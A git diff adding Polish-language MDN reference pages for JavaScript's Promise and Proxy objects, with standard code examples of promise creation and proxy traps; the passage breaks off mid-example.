+<p>Artykuł opisuje konstruktor, metody i właściwości obiektu <code>Promise</code>. By nauczyć się jak działają obietnice i jak można ich używać zalecamy przeczytać najpierw <a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Użycie obietnic</a> . Ten konstruktor jest głównie używany do opakowania funkcji, które nie wspierają jeszcze obietnic.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij do nas pull request.</p>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij do nas pull request.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js notranslate">new Promise( /* wykonawca */ function(resolve, reject) { ... } );</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>wykonawca (executor)</dt>
+ <dd>Funkcja przekazywana z argumentami <code>resolve</code> i <code>reject</code>. Funkcja ta wykonywana jest natychmiast przez implementację obietnicy, przekazując funkcje <code>resolve</code> i <code>reject</code> (ta funkcja jest wywoływana, zanim konstruktor Promise zwróci utworzony obiekt). Funkcje <code>resolve</code> i <code>reject</code> , gdy są wywoływane, odpowiednio rozwiązują lub odrzucają obietnicę. Ta funkcja zwykle inicjuje pracę asynchroniczną, a następnie, po jej zakończeniu, wywołuje funkcję <code>resolve</code> w celu rozwiązania obietnicy lub odrzuca ją, jeśli wystąpił błąd. Jeśli błąd zostanie zgłoszony w tej funkcji, obietnica zostaje odrzucona. Wartość zwracana tej funkcji jest ignorowana.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code><strong>Promise</strong></code> jest proxy dla wartości niekoniecznie znanej, gdy jest tworzona. Pozwala na kojarzenie uchwytu z ewentualnym sukcesem lub porażką asynchroniczne akcji. Pozwala to metodom asynchronicznym zwracać wartości takie jak metody synchroniczne, zamiast natychmiastowego zwracania wartości końcowej, metoda asynchroniczna zwraca <em>obietnicę </em>dostarczenia wartości w pewnym momencie w przyszłości.</p>
+
+<p><code>Promise</code> jest dostępny w jednym z tych stanów:</p>
+
+<ul>
+ <li><em>pending</em>: stan inicjacji, ani wypełnione, ani odrzucone.</li>
+ <li><em>fulfilled</em>: operacja zakończona sukcesem.</li>
+ <li><em>rejected</em>: operacja zakończona porażką.</li>
+</ul>
+
+<p>Obowiązująca objetnica może być <em>zakończona </em>z wartością lub <em>odrzucona </em>z powodem(błędem). Kiedy dzieje się jedna z tych opcji, wywoływane są zakolejkowane, powiązane za pomocą metody <code>then</code> procedury. (Jeśli obietnica została już spełniona lub odrzucona, gdy dołączony jest odpowiedni moduł obsługi, zostanie on wywołany, więc nie ma potrzeby wyścigu między zakończeniem operacji asynchronicznej a jej obsługą).</p>
+
+<p>Tak jak w <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> oraz <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> gdy metoda zwróci obietnice, mogą one być łączone w łańcuchy.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<div class="note">
+<p><strong>Nie mylić z:</strong> Kilka innych języków ma mechanizmy leniwego oceniania i odraczania obliczeń, które nazywają również "obietnicami", np. Scheme. Obietnice w JavaScript oznaczają procesy, które już się odbywają, które mogą być powiązane z funkcjami wywołania zwrotnego. Jeśli chcesz leniwie oceniać wyrażenie, rozważ  <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcje strzałkowe</a> bez argumentów: <code>f = () =&gt; <em>wyrażenie</em></code> by stworzyć leniwo oszacowane wyrażenie, i <code>f()</code> by ocenić.</p>
+</div>
+
+<div class="note">
+<p>Mówi się, że obietnica zostanie uregulowana, jeśli zostanie spełniona lub odrzucona, ale nie oczekuje na rozpatrzenie. Usłyszysz także termin <em>rozwiązany </em>używany z obietnicami - oznacza to, że obietnica jest ustalona lub "zamknięta", aby dopasować się do stanu innej obietnicy. <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">Stany i losy</a> zawierają więcej szczegółów na temat obiecanej terminologii.</p>
+</div>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>Właściwość Length, której wartość wynosi zawsze 1 (liczba argumentów konstruktora).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd>Reprezentuje prototyp konstruktora <code>Promise</code>.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>Zwraca obietnice, która albo kończy się sukcesem gdy wszystkie z obietnic w <code>iterable</code> się zakończą powodzeniem lub kończy sie porażką tak szybko jak jedna z obietnic skończy się porażką. Jeżeli zwrócona obietnica kończy się sukcesem jest ona wypełniana tablicą wartości z obietnic zakończonych sukcesem w takim samym układzie jak były one zdefiniowane w <code>iterable</code>. Jeżeli zwrócona obietnica zakończyła się porażką, jest ona odrzucana z Powodem z pierwszej obietnicy w <code>iterable</code>, która zakończyła się porażką. Ta metoda może być pomocna do zachowywania rezultatów różnych obietnic.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>Returns a promise that fulfills or rejects as soon as one of the promises in the iterable fulfills or rejects, with the value or reason from that promise.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt>
+ <dd>Returns a <code>Promise</code> object that is rejected with the given reason.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt>
+ <dd>Returns a <code>Promise</code> object that is resolved with the given value. If the value is a thenable (i.e. has a <code>then</code> method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value. Generally, if you don't know if a value is a promise or not, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} it instead and work with the return value as a promise.</dd>
+</dl>
+
+<h2 id="Promise_prototype">Promise prototype</h2>
+
+<h3 id="Właściwości_2">Właściwości</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p>
+
+<h3 id="Metody_2">Metody</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p>
+
+<h2 id="Tworzenie_Promise">Tworzenie Promise</h2>
+
+<p>A <code>Promise</code> object is created using the <code>new </code>keyword and its constructor. This constructor takes as its argument a function, called the "executor function". This function should take two functions as parameters. The first of these functions (<code>resolve</code>) is called when the asynchronous task completes successfully and returns the results of the task as a value. The second (<code>reject</code>) is called when the task fails, and returns the reason for failure, which is typically an error object.</p>
+
+<pre class="brush: js notranslate">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+ // do something asynchronous which eventually calls either:
+ //
+ // resolve(someValue); // fulfilled
+ // or
+ // reject("failure reason"); // rejected
+});
+</pre>
+
+<p>To provide a function with promise functionality, simply have it return a promise:</p>
+
+<pre class="brush: js notranslate">function myAsyncFunction(url) {
+ return new Promise((resolve, reject) =&gt; {
+ const xhr = new XMLHttpRequest();
+ xhr.open("GET", url);
+ xhr.onload = () =&gt; resolve(xhr.responseText);
+ xhr.onerror = () =&gt; reject(xhr.statusText);
+ xhr.send();
+ });
+}</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Podstawowy_przykład">Podstawowy przykład</h3>
+
+<pre class="brush: js notranslate">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+ // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed.
+ // In this example, we use setTimeout(...) to simulate async code.
+ // In reality, you will probably be using something like XHR or an HTML5 API.
+ setTimeout(function(){
+ resolve("Success!"); // Yay! Everything went well!
+ }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+ // successMessage is whatever we passed in the resolve(...) function above.
+ // It doesn't have to be a string, but if it is only a succeed message, it probably will be.
+ console.log("Yay! " + successMessage);
+});
+</pre>
+
+<h3 id="Zaawansowany_Przykład">Zaawansowany Przykład</h3>
+
+<pre class="brush: html hidden notranslate">&lt;button id="btn"&gt;Make a promise!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;
+</pre>
+
+<p>This small example shows the mechanism of a <code>Promise</code>. The <code>testPromise()</code> method is called each time the {{HTMLElement("button")}} is clicked. It creates a promise that will be fulfilled, using {{domxref("window.setTimeout()")}}, to the promise count (number starting from 1) every 1-3 seconds, at random. The <code>Promise()</code> constructor is used to create the promise.</p>
+
+<p>The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs show how the synchronous part of the method is decoupled from the asynchronous completion of the promise.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+ let thisPromiseCount = ++promiseCount;
+
+ let log = document.getElementById('log');
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') Started (&lt;small&gt;Sync code started&lt;/small&gt;)&lt;br/&gt;');
+
+ // We make a new promise: we promise a numeric count of this promise, starting from 1 (after waiting 3s)
+ let p1 = new Promise(
+ // The resolver function is called with the ability to resolve or
+ // reject the promise
+ (resolve, reject) =&gt; {
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') Promise started (&lt;small&gt;Async code started&lt;/small&gt;)&lt;br/&gt;');
+ // This is only an example to create asynchronism
+ window.setTimeout(
+ function() {
+ // We fulfill the promise !
+ resolve(thisPromiseCount);
+ }, Math.random() * 2000 + 1000);
+ }
+ );
+
+ // We define what to do when the promise is resolved with the then() call,
+ // and what to do when the promise is rejected with the catch() call
+ p1.then(
+ // Log the fulfillment value
+ function(val) {
+ log.insertAdjacentHTML('beforeend', val +
+ ') Promise fulfilled (&lt;small&gt;Async code terminated&lt;/small&gt;)&lt;br/&gt;');
+ })
+ .catch(
+ // Log the rejection reason
+ (reason) =&gt; {
+ console.log('Handle rejected promise ('+reason+') here.');
+ });
+
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') Promise made (&lt;small&gt;Sync code terminated&lt;/small&gt;)&lt;br/&gt;');
+}</pre>
+
+<pre class="brush:js hidden notranslate">if ("Promise" in window) {
+ let btn = document.getElementById("btn");
+ btn.addEventListener("click",testPromise);
+} else {
+ log = document.getElementById('log');
+ log.innerHTML = "Live example not available as your browser doesn't support the &lt;code&gt;Promise&lt;code&gt; interface.";
+}
+</pre>
+
+<p>This example is started by clicking the button. You need a browser that supports <code>Promise</code>. By clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another.</p>
+
+<p>{{EmbedLiveSample("Advanced_Example", "500", "200")}}</p>
+
+<h2 id="Ładowanie_obrazka_z_XHR">Ładowanie obrazka z XHR</h2>
+
+<p>Another simple example using <code>Promise</code> and <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> to load an image is available at the MDN GitHub<a href="https://github.com/mdn/js-examples/tree/master/promises-test"> js-examples</a> repository. You can also <a href="https://mdn.github.io/js-examples/promises-test/">see it in action</a>. Each step is commented and allows you to follow the Promise and XHR architecture closely.</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition in an ECMA standard.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html
new file mode 100644
index 0000000000..4931dd2beb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html
@@ -0,0 +1,117 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler/apply
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Metodă
+ - Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>handler.apply()</code></strong> jest pułapką na wywołanie funkcji.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+ apply: function(target, thisArg, argumentsList) {
+ }
+});
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<p>Następujące parametry są przekazywane do metody <code>apply</code>. Wartością <code>this</code> jest handler.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Obiekt, na którym została wywołana metoda.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Obiekt, który jest <code>this</code> w metodzie.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd>Lista argumentów, które zostały przekazane do metody.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Metoda <code>apply</code> może zwrócić dowolną wartość.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda <code><strong>handler.apply</strong></code> jest pułapką na wywołanie funkcji.</p>
+
+<h3 id="Przechwycenia">Przechwycenia</h3>
+
+<p>Ta pułapka może przechwycić poniższe operacje:</p>
+
+<ul>
+ <li><code>proxy(...args)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} i {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="Niezmienniki">Niezmienniki</h3>
+
+<p>Jeśli poniższe zmiemienniki są naruszone, poxy rzuci wyjątek TypeError:</p>
+
+<p><code>target</code> musi być obiektem, który da się wywołać. To znaczy, że musi być obiektem funkcyjnym.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Poniższy kod przechwytuje wywołanie funkcji.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+ apply: function(target, thisArg, argumentsList) {
+ console.log('called: ' + argumentsList.join(', '));
+ return argumentsList[0] + argumentsList[1] + argumentsList[2];
+ }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+ // 6
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler.apply")}}</p>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply")}}</li>
+ <li>{{jsxref("Function.prototype.call")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html
new file mode 100644
index 0000000000..15fbc4d469
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html
@@ -0,0 +1,77 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt obsługujący proxy (proxy's handler object) jest obiektem zastępczym który zawiera pułapki dla obiektów {{jsxref("Proxy", "proxy", "", 1)}}.</p>
+
+<h2 id="Metody">Metody</h2>
+
+<p>Wszystkie pułapki są opcjonalne. Jeśli pułapka nie została zdefiniowana, domyślnym zachowaniem jest przekazanie operacji do obiektu docelowego.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>Pułapka na operator {{jsxref("Operators/in", "in")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>Pułapka na pobieranie wartości atrybutu.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>Pułapka na ustawianie wartości atrybutu.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>Pułapka na operator {{jsxref("Operators/delete", "delete")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>Pułapka na {{jsxref("Object.getOwnPropertyNames")}} i {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>Pułapka na wywołanie funkcji.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>Pułapka na operator {{jsxref("Operators/new", "new")}}.</dd>
+</dl>
+
+<p>Niektóre niestandardowe pułapki są <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">przestarzałe i zostały usunięte</a>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Usunięto funkcję obsługującą <code>enumerate</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/proxy/index.html b/files/pl/web/javascript/referencje/obiekty/proxy/index.html
new file mode 100644
index 0000000000..7dc7695f00
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/proxy/index.html
@@ -0,0 +1,401 @@
+---
+title: Proxy
+slug: Web/JavaScript/Referencje/Obiekty/Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>
+<div>{{JSRef}}</div>
+</div>
+
+<p>Obiekt <strong>Proxy</strong> jest używany w celu definiowania specyficznego zachowania dla podstawowych operacji (n.p. wyszukiwanie atrybutu, przypisanie, wyliczanie, wywołanie funkcji, etc).</p>
+
+<h2 id="Terminologia">Terminologia</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>Zastępczy obiekt zawierający pułapki (traps).</dd>
+ <dt>traps</dt>
+ <dd>Metody zapewniające dostęp do atrybutów. Pojęcie to jest analogiczne do pułapek w systemie operacyjnym.</dd>
+ <dt>target</dt>
+ <dd>Obiekt wirtualizowany przez proxy. Często jest używany aby magazyować dane obiektu proxy. Niezmienniki (wartości które pozostają niezmienione) dotyczące nierozszerzalności obiektu lub niekonfigurowalnnych atrybutów są weryfikowane w oparciu o <strong>target</strong>.</dd>
+</dl>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var p = new Proxy(target, handler);
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Docelowy obiekt (może być obiektem dowolnego typu, włącznie z wbudowanymi tablicami, funkcjami, a nawet innyi obiektami proxy) przeznaczony do opakowania przez <code>Proxy</code>.</dd>
+ <dt><code>handler</code></dt>
+ <dd>Obiekt obsługujący którego atrybuty są funkcjami definiującymi zachowanie proxy podczas wykonania na nim operacji.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>Tworzy odwracalny obiekt <code>Proxy</code>.</dd>
+</dl>
+
+<h2 id="Metody_obiektu_obsługującego">Metody obiektu obsługującego</h2>
+
+<p>Obiekt obsługujący jest obiektem zastępczym zawierającym pułapki dla obieku <code>Proxy</code>.</p>
+
+<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Proxy/handler', 'Metody') }}</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Podstawowy_przykład">Podstawowy przykład</h3>
+
+<p>W tym prostym przykładzie liczba <code>37</code> jest zwracana jako domyślna wartość kiedy nazwa atrybutu nie istnieje w obiekcie. W tym celu użyty jest handler <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get"><code>get</code></a>.</p>
+
+<pre class="brush: js">var handler = {
+ get: function(target, name) {
+ return name in target ?
+ target[name] :
+ 37;
+ }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="Puste_proxy_przekazujące">Puste proxy przekazujące</h3>
+
+<p>W tym przykładzie używamy wbudowanego obiektu JavaScript do którego proxy przekaże wszystkie zaaplikowane na nim operacje.</p>
+
+<pre class="brush: js">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // operacja przekazana do obiektu target
+
+console.log(target.a); // 37. Operacja została prawidłowo przekazana
+</pre>
+
+<p>Zwróć uwagę, że ten przykład działa dla obiektów JavaScript jednak nie sprawdzi się w przypadku obiektów przeglądarki takich jak elementy DOM. <a href="/en-US/docs/">Sprawdź jedno rozwiązanie</a>.</p>
+
+<h3 id="Walidacja">Walidacja</h3>
+
+<p>Używając <code>Proxy</code>, łatwo możesz zwalidować wartości przekazywane do obiektu. Poniższy przykład używa metody obsługującej <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p>
+
+<pre class="brush: js">let validator = {
+ set: function(obj, prop, value) {
+ if (prop === 'age') {
+ if (!Number.isInteger(value)) {
+ throw new TypeError('The age is not an integer');
+ }
+ if (value &gt; 200) {
+ throw new RangeError('The age seems invalid');
+ }
+ }
+
+ // domyślnym zachowaniem jest zapisanie wartości
+ obj[prop] = value;
+
+ // oznacza pomyślne wykonanie
+ return true;
+ }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // rzuca wyjątek
+person.age = 300; // rzuca wyjątek</pre>
+
+<h3 id="Rozszerzanie_konstruktora">Rozszerzanie konstruktora</h3>
+
+<p>Funkcja proxy może w łatwy sposób rozszerzyć konstruktor innym konstruktorem. W tym przykładzie użyto funkcje obsługujące <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct"><code>construct</code></a> oraz <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a>.</p>
+
+<pre class="brush: js">function extend(sup, base) {
+ var descriptor = Object.getOwnPropertyDescriptor(
+ base.prototype, 'constructor'
+ );
+ base.prototype = Object.create(sup.prototype);
+ var handler = {
+ construct: function(target, args) {
+ var obj = Object.create(base.prototype);
+ this.apply(target, obj, args);
+ return obj;
+ },
+ apply: function(target, that, args) {
+ sup.apply(that, args);
+ base.apply(that, args);
+ }
+ };
+ var proxy = new Proxy(base, handler);
+ descriptor.value = proxy;
+ Object.defineProperty(base.prototype, 'constructor', descriptor);
+ return proxy;
+}
+
+var Person = function(name) {
+ this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+ this.age = age;
+});
+
+Boy.prototype.sex = 'M';
+
+var Peter = new Boy('Peter', 13);
+console.log(Peter.sex); // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age); // 13</pre>
+
+<h3 id="Manipulacja_węzłami_DOM">Manipulacja węzłami DOM</h3>
+
+<p>Czasami konieczne jest przełączenie atrybutu lub nazwy klasy dwóch innych elementów. Poniższy przykład pokazuje wykonanie funkcją obsługującą <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p>
+
+<pre class="brush: js">let view = new Proxy({
+ selected: null
+},
+{
+ set: function(obj, prop, newval) {
+ let oldval = obj[prop];
+
+ if (prop === 'selected') {
+ if (oldval) {
+ oldval.setAttribute('aria-selected', 'false');
+ }
+ if (newval) {
+ newval.setAttribute('aria-selected', 'true');
+ }
+ }
+
+ // The default behavior to store the value
+ obj[prop] = newval;
+
+ // Indicate success
+ return true;
+ }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'</pre>
+
+<h3 id="Korekcja_wartości_i_dodatkowych_atrybutów">Korekcja wartości i dodatkowych atrybutów</h3>
+
+<p>Obiekt proxy <code>products</code> wylicza przekazaną wartość i konwertuje to tablicy w razie potrzeby. Obiekt dodatkowo obsługuje dodatkowy atrybut <code>latestBrowser</code> zarówno jako getter i setter.</p>
+
+<pre class="brush: js">let products = new Proxy({
+ browsers: ['Internet Explorer', 'Netscape']
